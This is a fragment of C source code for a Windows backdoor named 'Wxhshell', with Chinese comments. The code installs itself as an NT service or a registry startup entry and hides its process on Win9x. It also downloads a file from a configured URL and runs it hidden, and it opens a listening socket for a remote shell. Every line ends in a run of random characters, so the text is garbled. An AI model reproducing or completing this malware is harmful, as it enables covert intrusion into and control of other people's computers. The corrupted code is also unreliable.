DWORD ExitStatus; /`[!_4i
DWORD PebBaseAddress; 4U=75!>
DWORD AffinityMask; Z<U>A
DWORD BasePriority; F30
]
ULONG UniqueProcessId; 24ux
ULONG InheritedFromUniqueProcessId; WNs}sNSf
} PROCESS_BASIC_INFORMATION; ZtK\HDdp
hN3u@P^
PROCNTQSIP NtQueryInformationProcess; y7:tr
\=;uu_v$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ye5jB2Z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wG1l+^p
;#1Iiuh
HANDLE hProcess; WkP
+r9rT
PROCESS_BASIC_INFORMATION pbi; DIaYo4
~>Kq<]3~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nPN?kO=]
if(NULL == hInst ) return 0; JN4fPGbV
{^}0 G^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); paW@\1Q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :=Kx/E:1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n((vY.NDV
$bvJTuw
if (!NtQueryInformationProcess) return 0; ,lt8O.h-l
t9^A(Vh"-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AQss4[\Dx
if(!hProcess) return 0; h5"Ov,K3[
M6rc!K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x[Im%k
"5Uh<X
CloseHandle(hProcess); N@xg:xr
-.IEgggf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6/Fzco#N
if(hProcess==NULL) return 0; R"AUSO|{
52d^K0STC
HMODULE hMod; t*G/]
char procName[255]; ka"337H
unsigned long cbNeeded; =JS;;PzX[
WG7k(Sp]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nV*y`.+
9Q;c,]
CloseHandle(hProcess); k5`OH8G
$HJTj29/
if(strstr(procName,"services")) return 1; // 以服务启动 {Qv>q$Q
;eL9{eF
return 0; // 注册表启动 "*z_O
} @U{<a#
:hRs`=d"r
// 主模块 Ju2l?RrX
int StartWxhshell(LPSTR lpCmdLine) 8RW&r
{ V\]" }V)"
SOCKET wsl; 0aI;\D*Ts
BOOL val=TRUE; /)
4GSC}Gg
int port=0; IA&L]
struct sockaddr_in door; @n&<B`/
I$t3qd{H&
if(wscfg.ws_autoins) Install(); _>m-AI4^
D${={x
port=atoi(lpCmdLine); 5O/i3m26
I1Sa^7
if(port<=0) port=wscfg.ws_port; nH|,T%
k S#
CEU7
WSADATA data; )B#
,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h#r^teui)
&fC!(Oy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ao" %WX
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sh6JF574T
door.sin_family = AF_INET; +pm[f["C.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); I6!5Yj]O"
door.sin_port = htons(port); mmXm\]r>4
V/d/L3p
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }x0- V8
closesocket(wsl); ^Xb7[+I6
return 1; ;Q;[*B=kE
} epHJ@ W@#
ulFzZHJ
if(listen(wsl,2) == INVALID_SOCKET) { wXMDh$
closesocket(wsl); $~0Q@):
return 1; WE6a'
} B/JO~;{
Wxhshell(wsl);
-t2T(ha
WSACleanup(); "9EE1];NT
2&PPz}Sw
return 0; iD38\XNMV
mW2,1}Jv
} qBV x6MI
YTQt3=1ii
// 以NT服务方式启动 )tHaB,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LVJI_ O{fH
{ D4Al3fe
DWORD status = 0; ._w8J"E5
DWORD specificError = 0xfffffff; :<Y}l-x
>_dx_<75&
serviceStatus.dwServiceType = SERVICE_WIN32; "xmP6=1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M->*{D@a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VV4Gjc
serviceStatus.dwWin32ExitCode = 0; >(w2GD?
serviceStatus.dwServiceSpecificExitCode = 0; \0l>q ,
serviceStatus.dwCheckPoint = 0; U[L9*=P;
serviceStatus.dwWaitHint = 0; VGHWNMT
s>k Uh
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7|\@zQ h
if (hServiceStatusHandle==0) return; `\`> 0hlu
vu!d)Fy
status = GetLastError(); n79QJl/
if (status!=NO_ERROR) ;8WZx
{ 7(M(7}EKA
serviceStatus.dwCurrentState = SERVICE_STOPPED; w=]Ks'C]
serviceStatus.dwCheckPoint = 0; %W,D;?lEo>
serviceStatus.dwWaitHint = 0; }G o$
\Bk
serviceStatus.dwWin32ExitCode = status; vb 1@yQ
serviceStatus.dwServiceSpecificExitCode = specificError; Z=B_Ty
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FGO[
|]7IN
return; l0&EZN0V2
} SK1!thQy
DFhXx6]
serviceStatus.dwCurrentState = SERVICE_RUNNING; e^4 p%
serviceStatus.dwCheckPoint = 0; BqDKT
serviceStatus.dwWaitHint = 0; dkgSvi :!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YprHwL
} 5uq3\a
MV_Srz
// 处理NT服务事件,比如:启动、停止 dY?`f<*
VOID WINAPI NTServiceHandler(DWORD fdwControl) }bN%u3mHws
{ )"zvwgaW
switch(fdwControl) 73{'kK
{ Q9}dHIe1E
case SERVICE_CONTROL_STOP: DRqZ,[!+
serviceStatus.dwWin32ExitCode = 0; iGB_{F~t4}
serviceStatus.dwCurrentState = SERVICE_STOPPED; T=hh oGn
serviceStatus.dwCheckPoint = 0; v_e9}yI
serviceStatus.dwWaitHint = 0; />'V!iWyz
{ ;.xoN|Per
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J q{7R
} xtPLR/Z
return; Wg{k$T_>
case SERVICE_CONTROL_PAUSE: Go,N>HN
serviceStatus.dwCurrentState = SERVICE_PAUSED; WN(ymcdYB
break; h)~=Dm
case SERVICE_CONTROL_CONTINUE: m)V/L]4
serviceStatus.dwCurrentState = SERVICE_RUNNING; f\'{3I29
break; !O\;Nua
case SERVICE_CONTROL_INTERROGATE: (feTk72XX
break; '$4O!YI9@
}; e%8|<g+n6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DD" $1o"
} 0 a]/%y3V
??TMSH
// 标准应用程序主函数 ^c~)/F/cF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LjL[V'JL
{ f.24:Dw,
{`2R,Jb%S
// 获取操作系统版本 E?(xb B
OsIsNt=GetOsVer(); dKl^jsd
GetModuleFileName(NULL,ExeFile,MAX_PATH); hTP:[w)
< >UPD02
// 从命令行安装
h:lt<y
if(strpbrk(lpCmdLine,"iI")) Install(); ]Jh+'RK\#
1ygpp0IGJ
// 下载执行文件 QwhRNnE=
if(wscfg.ws_downexe) { PoEqurH0
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r=yK,d/1
WinExec(wscfg.ws_filenam,SW_HIDE); AiD[SR
} 7~#:>OjW
E\gim<]
if(!OsIsNt) { \{Q?^E
// 如果时win9x,隐藏进程并且设置为注册表启动 S+TOSjfis
HideProc(); \om%Q[F7a
StartWxhshell(lpCmdLine); {3N'D2N
} L4uFNM]
else u?sVcD[
if(StartFromService()) ng:Q1Q9N
// 以服务方式启动 wts=[U`(
StartServiceCtrlDispatcher(DispatchTable); uEc<}pV
else -
0?^#G}3}
// 普通方式启动 GUsl PnG
StartWxhshell(lpCmdLine); AoA!q>
WyP W*
return 0; eY{+~|KZ
}